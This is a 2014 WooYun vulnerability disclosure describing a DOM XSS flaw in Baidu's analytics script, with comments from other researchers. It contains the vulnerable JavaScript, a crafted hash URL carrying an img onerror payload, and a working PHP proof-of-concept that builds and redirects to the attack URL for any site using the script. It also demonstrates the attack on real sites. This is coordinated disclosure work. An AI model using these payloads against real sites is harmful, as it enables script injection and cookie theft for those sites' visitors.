当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079034

漏洞标题:百度统计代码缺陷导致所有使用百度统计的网站均存在DOM XSS(以乌云主站为例说明)

相关厂商:百度

漏洞作者: gainover

提交时间:2014-10-11 22:32

修复时间:2014-11-25 22:34

公开时间:2014-11-25 22:34

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-11: 细节已通知厂商并且等待厂商处理中
2014-10-13: 厂商已经确认,细节仅向厂商公开
2014-10-23: 细节向核心白帽子及相关领域专家公开
2014-11-02: 细节向普通白帽子公开
2014-11-12: 细节向实习白帽子公开
2014-11-25: 细节向公众公开

简要描述:

前前后后找了半年多时间,总算搞定了。前面发的百度统计XXE漏洞都是为了找这个漏洞得到的副产品,哈哈

详细说明:

1. 在乌云众测测试ucloud之时,发现对方使用了百度统计,调用了http://hm.baidu.com/h.js 这个文件,其中有以下一段代码:

var O = document.location.hash.substring(1), va = RegExp(c.id), wa = -1 < document.referrer.indexOf("baidu.com") ? l : n;
if (O && va.test(O) && wa) {
var P = document.createElement("script");
P.setAttribute("type",
"text/javascript");
P.setAttribute("charset", "utf-8");
P.setAttribute("src", S + "//" + c.js + C(O, "jn") + "." + C(O, "sx") + "?" + a.a.rnd);
var ga = document.getElementsByTagName("script")[0];
ga.parentNode.insertBefore(P, ga)
}


这段代码里可以看到, O为地址的hash,C函数从O里获取jn参数以及sx参数,随后jn参数和sx参数进入P的src属性,而P为script对象。
也就是说,P.src="http://tongji.baidu.com/hm-web/js/jn参数.sx参数?随机数"
2. 要进入上面的代码流程,我们需要满足if (O && va.test(O) && wa)的判断,即我们需要构造合适的O参数以及wa参数,wa参数又来自于wa = -1 < document.referrer.indexOf("baidu.com") ? l : n这个判断,这2个东西都还是很好满足的,暂且不论。接着我们要考虑的是hash中的jn参数和sx参数,我们仅考虑其中一个。
如果我们控制jn参数为 ../../../xxxx.php,而xxxx.php的内容又是我们可控的,我们就可以让页面执行我们指定的JS代码了。
当然这个想法是好的,但要在一个域名下要找到这样的点似乎十分困难。
3. 对于这种情况,我们有以下几种可能的手段。
A. jsonp接口,且callback参数中的()未被过滤
B. 302跳转,且跳转的url参数未限制域名
C. 任意文件上传
D. tongji.baidu.com域名下存在一个xxxx.js,且xxxx.js的代码存在缺陷,可以导致XSS
4. 然后我们顺着这几个手段来尝试,尝试结果如下:
A. tongji.baidu.com域名下未能发现jsonp的使用,因此放弃
B. tongji.baidu.com域名下的各种功能中未能发现302跳转,因此放弃
C. 找到一个任意文件上传的点,但是需要通过xxxx.php?type=a&name=11111.xxx&mmm=mmm的形式来访问,而jn参数的url中并不能使用&,具体请查看h.js中C函数的代码可知原因,不具体说明了。并且URL里多个参数均为必须,不能去掉,因此在思考很久未发现解决办法后,同样放弃。
D. 在此之前,我发现tongji.baidu.com下的JS文件大部分均使用了tangram的JS库来开发,也就是说,调用这些JS基本上是无法直接执行的,因为目标站中并没有调用tangram的主JS文件。因此之前此路也是放弃的。
5. 然而,在盯了半年之后,今天又按照D思路,打开了tongji.baidu.com,挨个功能点过去,并且抓包排查网站所调用的JS时,发现了一个似乎没有调用tangram的JS:http://tongji.baidu.com/hm-web/js/heatlink.js,在对代码进行美化处理后,在代码的最下方,我看到了location.hash,以及字符串的拼接。想想就有点小激动哦~~

var L = document.location.hash.substring(1);
var K = d("cla", L);
var J = d("clb", L);
var I = H(E.flashId, E.flashUrl + "?" + l(8), "1", "1", "allowdomain=" + document.domain + "&cla=" + K + "&clb=" + J + "&callBack=" + E.flashCallBack);


于是马上写了一个html,调用这个JS文件,并进行了测试,成功执行代码:

1.jpg


6. 这样一来,我们的D思路就是实现了,总结一下,以乌云为例,我们可以构造以下url:

http://www.wooyun.org/#c12f88b5c1cd041a732dea597a5ec94c&jn=../../../../hm-web/js/heatlink.js?&cla="></object><img src="1" onerror="alert(document.domain)">


其中 #c12f88b5c1cd041a732dea597a5ec94c 这串数字来自于目标网站的统计id,该代码可以通过PHP来从目标页面自动获取。加上这串数字,是为了满足代码里的 va.test(O)判断, jn参数被指定为 ../../../../hm-web/js/heatlink.js?, 即最终
P.src="http://tongji.baidu.com/hm-web/js/../../../../hm-web/js/heatlink.js?.sx参数?随机数"
页面会调用heatlink.js,而该JS又存在DOM-XSS缺陷,会将我们指定的cla="></object><img src="1" onerror="alert(document.domain)"> 参数内容输出到DOM中,从而导致xss
为了满足 wa = -1 < document.referrer.indexOf("baidu.com") ? l : n ,我们需要让访问来源URL里带上baidu.com,这个很容易解决。从一个带有 ?baidu.com的URL跳转过去即可,具体参见漏洞证明中的url。
7. 最终我们可以编写以下PoC代码 (php):

<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<?php
$url=$_GET["url"];
$data=file_get_contents($url);
$result=array();
if(preg_match("/hm\.baidu\.com\/h\.js%3F(\w{32})/",$data,$result)){
if($result[1]){
$cid=$result[1];
$url=preg_replace("/'/","%27",$url);
$url=preg_replace("/\\\\/","%5c",$url);
?>
<script>
location.href='<?php echo $url?>#<?php echo $cid?>&jn=../../../../hm-web/js/heatlink.js?&cla="></object><img src="1" onerror="alert(document.domain)">';
</script>
<?
}else{
echo "missing c.id";
}
}else{
echo "missing c.id";
}
?>
</body>
</html>

漏洞证明:

1. 以乌云主站为例:
访问以下URL:http://xsst.sinaapp.com/test/baidutongji.poc.php?baidu.com&url=http://www.wooyun.org/

2.jpg


2. IE下也是可以的,浏览器通用性好。

4.jpg


3. 为了证明其普遍危害,在用户列表里又找了一个用户 汽车之家

3.jpg

修复方案:

1. 对传入的jn参数即sx参数进行有效性判断。
2. 修复 /hm-web/js/heatlink.js中的dom xss问题

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-13 11:33

厂商回复:

感谢提交,我们已经通知业务部门处理此问题。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-11 22:34 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    卧槽好屌

  2. 2014-10-11 22:35 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    怎么感觉要火

  3. 2014-10-11 22:46 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    这个影响范围应该够广

  4. 2014-10-11 22:49 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    前排 万一上电视了呢

  5. 2014-10-11 22:49 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    哎呀~被弹了,好可怕~~

  6. 2014-10-11 22:50 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    围观

  7. 2014-10-11 22:52 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @心伤的瘦子 = =,。死样,你这样别人还以为我拿小号自言自语了

  8. 2014-10-11 22:54 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @猪猪侠 嘿嘿

  9. 2014-10-11 22:54 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @0x_Jin 小Jin, 咱们能不能换个口头禅。。。

  10. 2014-10-11 22:55 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    必火啊!~

  11. 2014-10-11 22:59 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在,梦在)

    火钳刘明呀

  12. 2014-10-11 23:07 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    二哥好屌

  13. 2014-10-11 23:08 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    二哥好屌!

  14. 2014-10-11 23:08 | 咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )

    这尼玛是要翻身的节奏!!!!

  15. 2014-10-11 23:11 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student of RDFZ.)

    二哥威武~

  16. 2014-10-11 23:16 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨,淡看江湖路...)

    好牛逼的样子

  17. 2014-10-11 23:21 | 实习白帽子 ( 路人 | Rank:27 漏洞数:5 | 我是一个很短的介绍.)

    围观

  18. 2014-10-11 23:22 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    我去。。。。

  19. 2014-10-11 23:23 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    后排,我上不了电视了~

  20. 2014-10-11 23:28 | Comer ( 普通白帽子 | Rank:336 漏洞数:40 | 关注安全 | 关注智能漏洞挖掘)

    卧槽

  21. 2014-10-11 23:29 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    这牛逼了!

  22. 2014-10-11 23:32 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    二哥好屌!

  23. 2014-10-11 23:34 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全,提高技术!)

    二哥好屌!

  24. 2014-10-11 23:35 | HackPanda ( 普通白帽子 | Rank:113 漏洞数:15 | Talk is cheap,show me the shell.)

    这个真心吊- -今天刚打算上..

  25. 2014-10-11 23:43 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    我要看二哥,顺便上电视

  26. 2014-10-11 23:54 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    坐等公开后学习~

  27. 2014-10-12 00:21 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  28. 2014-10-12 00:32 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    我一直以为@心伤的瘦子写完xss教程就不在乌云了,所以问题来了:xss挖洞技术哪家强?

  29. 2014-10-12 00:40 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    尼玛。这是要造反啊。。。。

  30. 2014-10-12 01:05 | 淡漠天空 认证白帽子 ( 实习白帽子 | Rank:1113 漏洞数:142 | M:出售GOV STATE NSA CIA NASA DHS Symant...)

    所以问题来了:xss挖洞技术哪家强?

  31. 2014-10-12 01:21 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    哎呀~被弹了,好可怕~~

  32. 2014-10-12 06:41 | 红客十年 ( 普通白帽子 | Rank:334 漏洞数:63 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)

    @淡漠天空 所以问题来了,用挖掘机搞Xss技术哪家强?

  33. 2014-10-12 07:33 | 安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人,可能走的过程...)

    围观。

  34. 2014-10-12 09:25 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    @gainover 好得 以后口头禅就换成,!!!!屌!!!!

  35. 2014-10-12 10:27 | chopper ( 普通白帽子 | Rank:144 漏洞数:29 | 菜鸟求学,多多关照~)

    我们都是二哥的脑残粉

  36. 2014-10-12 10:38 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    厉害!

  37. 2014-10-12 10:46 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    牛逼

  38. 2014-10-12 10:48 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    我就知道是二哥

  39. 2014-10-12 11:03 | 0x334 ( 普通白帽子 | Rank:171 漏洞数:35 | 漏洞无影响,已忽略~~~~~~~)

    二哥一出手,你说有没有

  40. 2014-10-12 11:09 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要,暂别一段时间)

    二哥出手必须有!

  41. 2014-10-12 11:22 | 白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)

    哎呦,这个屌哦~

  42. 2014-10-12 11:24 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    二哥那天一边炒菜,一边控制挖掘机操作电脑把xss给挖出来了。

  43. 2014-10-12 11:41 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    二哥我弹了

  44. 2014-10-12 12:03 | GixMore ( 路人 | Rank:6 漏洞数:1 | 做个平凡的白帽子)

  45. 2014-10-12 12:14 | s3xy ( 核心白帽子 | Rank:832 漏洞数:113 | 相濡以沫,不如相忘于江湖)

    略屌

  46. 2014-10-12 13:29 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    难道这就是xsser说的你最希望哪个组件出漏洞的东西之一,牛啊

  47. 2014-10-12 13:30 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @大亮 pkav

  48. 2014-10-12 13:31 | Guardian ( 实习白帽子 | Rank:96 漏洞数:20 | I'm from the Internet and be here to hel...)

    围观

  49. 2014-10-12 13:52 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    mark

  50. 2014-10-12 14:06 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    二哥这是分分钟千千万的cookie啊

  51. 2014-10-12 14:34 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    二哥好屌!

  52. 2014-10-12 15:33 | 宝-宝 ( 路人 | Rank:20 漏洞数:8 | 爱Web,也爱内核。 爱渗透,不爱暴力。爱0d...)

    二哥厉害!!

  53. 2014-10-12 17:38 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    碉堡了 来晚了

  54. 2014-10-12 17:41 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    挖xss的二哥你威武雄壮!

  55. 2014-10-13 09:09 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    挖xss的二哥你威武雄壮!

  56. 2014-10-13 11:34 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    火钳留名

  57. 2014-10-13 11:59 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    想知道二哥吃转基因食品不

  58. 2014-10-16 16:59 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    没有挂通用型?

  59. 2014-10-16 17:43 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    快公开!~

  60. 2014-10-16 23:49 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    why r u so diao?

  61. 2014-10-17 15:09 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    哈O流弊啊啊啊

  62. 2014-10-18 17:26 | 野狼 ( 路人 | Rank:0 漏洞数:1 | CcAv TeAm成员,CCAV11站长,白帽子。)

    mark

  63. 2014-10-19 23:51 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    mark

  64. 2014-10-21 15:42 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    这个漏洞应该奖励5w,半年时间啊。

  65. 2014-10-31 17:02 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    还没公开啊。。。

  66. 2014-11-03 11:36 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    不给20啊

  67. 2014-11-26 09:45 | 带我玩 ( 路人 | Rank:12 漏洞数:6 | 带我玩)

    要火啊...给20

  68. 2014-11-26 10:49 | 乌托邦 ( 路人 | Rank:4 漏洞数:1 | null)

    百度很多地方都存在缺陷

  69. 2014-11-26 12:12 | 过客 ( 实习白帽子 | Rank:42 漏洞数:13 )

    神洞

  70. 2014-11-26 17:38 | mó-wáng ( 路人 | Rank:2 漏洞数:2 | hello ,world !)

    流弊

  71. 2015-04-14 17:16 | 天鱼 ( 实习白帽子 | Rank:47 漏洞数:5 | 逝去的梦)

    大神!!!